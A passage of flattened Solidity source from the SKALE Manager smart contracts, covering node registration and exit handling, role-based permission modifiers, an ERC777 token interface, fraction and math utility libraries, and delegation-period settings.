numberOfLeftNodes; mapping (uint => string) public domainNames; mapping (uint => bool) private _invisible; SegmentTree.Tree private _nodesAmountBySpace; /** * @dev Emitted when a node is created. */ event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, string domainName, uint time, uint gasSpend ); /** * @dev Emitted when a node completes a network exit. */ event ExitCompleted( uint nodeIndex, uint time, uint gasSpend ); /** * @dev Emitted when a node begins to exit from the network. */ event ExitInitialized( uint nodeIndex, uint startLeavingPeriod, uint time, uint gasSpend ); modifier checkNodeExists(uint nodeIndex) { _checkNodeIndex(nodeIndex); _; } modifier onlyNodeOrAdmin(uint nodeIndex) { _checkNodeOrAdmin(nodeIndex, msg.sender); _; } function initializeSegmentTreeAndInvisibleNodes() external onlyOwner { for (uint i = 0; i < nodes.length; i++) { if (nodes[i].status != NodeStatus.Active && nodes[i].status != NodeStatus.Left) { _invisible[i] = true; _removeNodeFromSpaceToNodes(i, spaceOfNodes[i].freeSpace); } } uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); _nodesAmountBySpace.create(totalSpace); for (uint8 i = 1; i <= totalSpace; i++) { if (spaceToNodes[i].length > 0) _nodesAmountBySpace.addToPlace(i, spaceToNodes[i].length); } } /** * @dev Allows Schains and SchainsInternal contracts to occupy available * space on a node. * * Returns whether operation is successful. */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("NodeRotation", "SchainsInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8() ); } return true; } /** * @dev Allows Schains contract to occupy free space on a node. * * Returns whether operation is successful. */ function addSpaceToNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("Schains", "NodeRotation") { if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8() ); } } /** * @dev Allows SkaleManager to change a node's last reward date. */ function changeNodeLastRewardDate(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = block.timestamp; } /** * @dev Allows SkaleManager to change a node's finish time. */ function changeNodeFinishTime(uint nodeIndex, uint time) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].finishTime = time; } /** * @dev Allows SkaleManager contract to create new node and add it to the * Nodes contract. * * Emits a {NodeCreated} event. * * Requirements: * * - Node IP must be non-zero. * - Node IP must be available. * - Node name must not already be registered. * - Node port must be greater than zero. */ function createNode(address from, NodeCreationParams calldata params) external allow("SkaleManager") { // checks that Node has correct data require(params.ip != 0x0 && !nodesIPCheck[params.ip], "IP address is zero or is not available"); require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered"); require(params.port > 0, "Port is zero"); require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect"); uint validatorId = ValidatorService( contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); nodes.push(Node({ name: params.name, ip: params.ip, publicIP: params.publicIp, port: params.port, publicKey: params.publicKey, startBlock: block.number, lastRewardDate: block.timestamp, finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); uint nodeIndex = nodes.length.sub(1); validatorToNodeIndexes[validatorId].push(nodeIndex); bytes32 nodeId = keccak256(abi.encodePacked(params.name)); nodesIPCheck[params.ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; domainNames[nodeIndex] = params.domainName; spaceOfNodes.push(SpaceManaging({ freeSpace: totalSpace, indexInSpaceMap: spaceToNodes[totalSpace].length })); _setNodeActive(nodeIndex); emit NodeCreated( nodeIndex, from, params.name, params.ip, params.publicIp, params.port, params.nonce, params.domainName, block.timestamp, gasleft()); } /** * @dev Allows SkaleManager contract to initiate a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitInitialized} event. */ function initExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeActive(nodeIndex), "Node should be Active"); _setNodeLeaving(nodeIndex); emit ExitInitialized( nodeIndex, block.timestamp, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to complete a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitCompleted} event. * * Requirements: * * - Node must have already initialized a node exit procedure. */ function completeExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeLeaving(nodeIndex), "Node is not Leaving"); _setNodeLeft(nodeIndex); emit ExitCompleted( nodeIndex, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to delete a validator's node. * * Requirements: * * - Validator ID must exist. */ function deleteNodeForValidator(uint validatorId, uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); if (position < validatorNodes.length) { validatorToNodeIndexes[validatorId][position] = validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)]; } validatorToNodeIndexes[validatorId].pop(); address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey); if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) { if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) { validatorService.removeNodeAddress(validatorId, nodeOwner); } nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false; nodeIndexes[nodeOwner].numberOfNodes--; } } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to create another node. * * Requirements: * * - Validator must be included on trusted list if trusted list is enabled. * - Validator must have sufficient stake to operate an additional node. */ function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress); require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node"); require( _checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length), "Validator must meet the Minimum Staking Requirement"); } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to maintain a node. * * Returns whether validator can maintain node with current stake. * * Requirements: * * - Validator ID and nodeIndex must both exist. */ function checkPossibilityToMaintainNode( uint validatorId, uint nodeIndex ) external checkNodeExists(nodeIndex) allow("Bounty") returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); require(position < validatorNodes.length, "Node does not exist for this Validator"); return _checkValidatorPositionToMaintainNode(validatorId, position); } /** * @dev Allows Node to set In_Maintenance status. * * Requirements: * * - Node must already be Active. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active"); _setNodeInMaintenance(nodeIndex); } /** * @dev Allows Node to remove In_Maintenance status. * * Requirements: * * - Node must already be In Maintenance. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance"); _setNodeActive(nodeIndex); } function setDomainName(uint nodeIndex, string memory domainName) external onlyNodeOrAdmin(nodeIndex) { domainNames[nodeIndex] = domainName; } function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeVisible(nodeIndex); } function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeInvisible(nodeIndex); } function getRandomNodeWithFreeSpace( uint8 freeSpace, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast( freeSpace == 0 ? 1 : freeSpace, randomGenerator ).toUint8(); require(place > 0, "Node not found"); return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)]; } /** * @dev Checks whether it is time for a node's reward. */ function isTimeForReward(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now; } /** * @dev Returns IP address of a given node. * * Requirements: * * - Node must exist. */ function getNodeIP(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes4) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].ip; } /** * @dev Returns domain name of a given node. * * Requirements: * * - Node must exist. */ function getNodeDomainName(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (string memory) { return domainNames[nodeIndex]; } /** * @dev Returns the port of a given node. * * Requirements: * * - Node must exist. */ function getNodePort(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint16) { return nodes[nodeIndex].port; } /** * @dev Returns the public key of a given node. */ function getNodePublicKey(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes32[2] memory) { return nodes[nodeIndex].publicKey; } /** * @dev Returns an address of a given node. */ function getNodeAddress(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (address) { return _publicKeyToAddress(nodes[nodeIndex].publicKey); } /** * @dev Returns the finish exit time of a given node. */ function getNodeFinishTime(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].finishTime; } /** * @dev Checks whether a node has left the network. */ function isNodeLeft(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } function isNodeInMaintenance(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.In_Maintenance; } /** * @dev Returns a given node's last reward date. */ function getNodeLastRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].lastRewardDate; } /** * @dev Returns a given node's next reward date. */ function getNodeNextRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex); } /** * @dev Returns the total number of registered nodes. */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } /** * @dev Returns the total number of online nodes. * * Note: Online nodes are equal to the number of active plus leaving nodes. */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes.add(numberOfLeavingNodes); } /** * @dev Return active node IDs. */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } /** * @dev Return a given node's current status. */ function getNodeStatus(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (NodeStatus) { return nodes[nodeIndex].status; } /** * @dev Return a validator's linked nodes. * * Requirements: * * - Validator ID must exist. */ function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); return validatorToNodeIndexes[validatorId]; } /** * @dev Returns number of nodes with available space. */ function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { if (freeSpace == 0) { return _nodesAmountBySpace.sumFromPlaceToLast(1); } return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace); } /** * @dev constructor in Permissions approach. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; _nodesAmountBySpace.create(128); } /** * @dev Returns the Validator ID for a given node. */ function getValidatorId(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev Checks whether a node exists for a given address. */ function isNodeExist(address from, uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev Checks whether a node's status is Active. */ function isNodeActive(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Checks whether a node's status is Leaving. */ function isNodeLeaving(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal { uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; uint len = spaceToNodes[space].length.sub(1); if (indexInArray < len) { uint shiftedIndex = spaceToNodes[space][len]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; } spaceToNodes[space].pop(); delete spaceOfNodes[nodeIndex].indexInSpaceMap; } function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) { return _nodesAmountBySpace; } /** * @dev Returns the index of a given node within the validator's node index. */ function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) { uint i; for (i = 0; i < validatorNodeIndexes.length; i++) { if (validatorNodeIndexes[i] == nodeIndex) { return i; } } return validatorNodeIndexes.length; } /** * @dev Moves a node to a new space mapping. */ function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromTree(space); _addNodeToTree(newSpace); _removeNodeFromSpaceToNodes(nodeIndex, space); _addNodeToSpaceToNodes(nodeIndex, newSpace); } spaceOfNodes[nodeIndex].freeSpace = newSpace; } /** * @dev Changes a node's status to Active. */ function _setNodeActive(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Active; numberOfActiveNodes = numberOfActiveNodes.add(1); if (_invisible[nodeIndex]) { _makeNodeVisible(nodeIndex); } else { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); } } /** * @dev Changes a node's status to In_Maintenance. */ function _setNodeInMaintenance(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.In_Maintenance; numberOfActiveNodes = numberOfActiveNodes.sub(1); _makeNodeInvisible(nodeIndex); } /** * @dev Changes a node's status to Left. */ function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; delete spaceOfNodes[nodeIndex].freeSpace; } /** * @dev Changes a node's status to Leaving. */ function _setNodeLeaving(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; _makeNodeInvisible(nodeIndex); } function _makeNodeInvisible(uint nodeIndex) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); _removeNodeFromTree(space); _invisible[nodeIndex] = true; } } function _makeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); delete _invisible[nodeIndex]; } } function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private { spaceToNodes[space].push(nodeIndex); spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1); } function _addNodeToTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.addToPlace(space, 1); } } function _removeNodeFromTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.removeFromPlace(space, 1); } } function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId); uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr(); return position.add(1).mul(msr) <= delegationsTotal; } function _checkNodeIndex(uint nodeIndex) private view { require(nodeIndex < nodes.length, "Node with such index does not exist"); } function _checkNodeOrAdmin(uint nodeIndex, address sender) private view { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require( isNodeExist(sender, nodeIndex) || _isAdmin(sender) || getValidatorId(nodeIndex) == validatorService.getValidatorId(sender), "Sender is not permitted to call this function" ); } function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1])); bytes20 addr; for (uint8 i = 12; i < 32; i++) { addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8); } return address(addr); } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } } // SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "./ContractManager.sol"; /** * @title Permissions * @dev Contract is connected module for Upgradeable approach, knows ContractManager */ contract Permissions is AccessControlUpgradeSafe { using SafeMath for uint; using Address for address; ContractManager public contractManager; /** * @dev Modifier to make a function callable only when caller is the Owner. * * Requirements: * * - The caller must be the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev Modifier to make a function callable only when caller is an Admin. * * Requirements: * * - The caller must be an admin. */ modifier onlyAdmin() { require(_isAdmin(msg.sender), "Caller is not an admin"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName` contract. * * Requirements: * * - The caller must be the owner or `contractName`. */ modifier allow(string memory contractName) { require( contractManager.getContract(contractName) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1` or `contractName2` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, or `contractName2`. */ modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1`, `contractName2`, or `contractName3` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, `contractName2`, or * `contractName3`. */ modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || contractManager.getContract(contractName3) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual initializer { AccessControlUpgradeSafe.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _isAdmin(address account) internal view returns (bool) { address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager"))); if (skaleManagerAddress != address(0)) { AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress); return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner(); } else { return _isOwner(); } } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = ContractManager(contractManagerAddress); } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: AGPL-3.0-only /* FractionUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library FractionUtils { using SafeMath for uint; struct Fraction { uint numerator; uint denominator; } function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) { require(denominator > 0, "Division by zero"); Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator}); reduceFraction(fraction); return fraction; } function createFraction(uint value) internal pure returns (Fraction memory) { return createFraction(value, 1); } function reduceFraction(Fraction memory fraction) internal pure { uint _gcd = gcd(fraction.numerator, fraction.denominator); fraction.numerator = fraction.numerator.div(_gcd); fraction.denominator = fraction.denominator.div(_gcd); } // numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1 function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) { return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator)); } function gcd(uint a, uint b) internal pure returns (uint) { uint _a = a; uint _b = b; if (_b > _a) { (_a, _b) = swap(_a, _b); } while (_b > 0) { _a = _a.mod(_b); (_a, _b) = swap (_a, _b); } return _a; } function swap(uint a, uint b) internal pure returns (uint, uint) { return (b, a); } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library MathUtils { uint constant private _EPS = 1e6; event UnderflowError( uint a, uint b ); function boundedSub(uint256 a, uint256 b) internal returns (uint256) { if (a >= b) { return a - b; } else { emit UnderflowError(a, b); return 0; } } function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) { if (a >= b) { return a - b; } else { return 0; } } function muchGreater(uint256 a, uint256 b) internal pure returns (bool) { assert(uint(-1) - _EPS > b); return a > b + _EPS; } function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) { if (a > b) { return a - b < _EPS; } else { return b - a < _EPS; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationPeriodManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; /** * @title Delegation Period Manager * @dev This contract handles all delegation offerings. Delegations are held for * a specified period (months), and different durations can have different * returns or `stakeMultiplier`. Currently, only delegation periods can be added. */ contract DelegationPeriodManager is Permissions { mapping (uint => uint) public stakeMultipliers; /** * @dev Emitted when a new delegation period is specified. */ event DelegationPeriodWasSet( uint length, uint stakeMultiplier ); /** * @dev Allows the Owner to create a new available delegation period and * stake multiplier in the network. * * Emits a {DelegationPeriodWasSet} event. */ function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external onlyOwner { require(stakeMultipliers[monthsCount] == 0, "Delegation perios is already set"); stakeMultipliers[monthsCount] = stakeMultiplier; emit DelegationPeriodWasSet(monthsCount, stakeMultiplier); } /** * @dev Checks whether given delegation period is allowed. */ function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) { return stakeMultipliers[monthsCount] != 0; } /** * @dev Initial delegation period and multiplier settings. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); stakeMultipliers[2] = 100; // 2 months at 100 // stakeMultipliers[6] = 150; // 6 months at 150 // stakeMultipliers[12] = 200; // 12 months at 200 } } // SPDX-License-Identifier: AGPL-3.0-only /* Punisher.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; import "../interfaces/delegation/ILocker.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; /** * @title Punisher * @dev This contract handles all slashing and forgiving operations. */ contract Punisher is Permissions, ILocker { // holder => 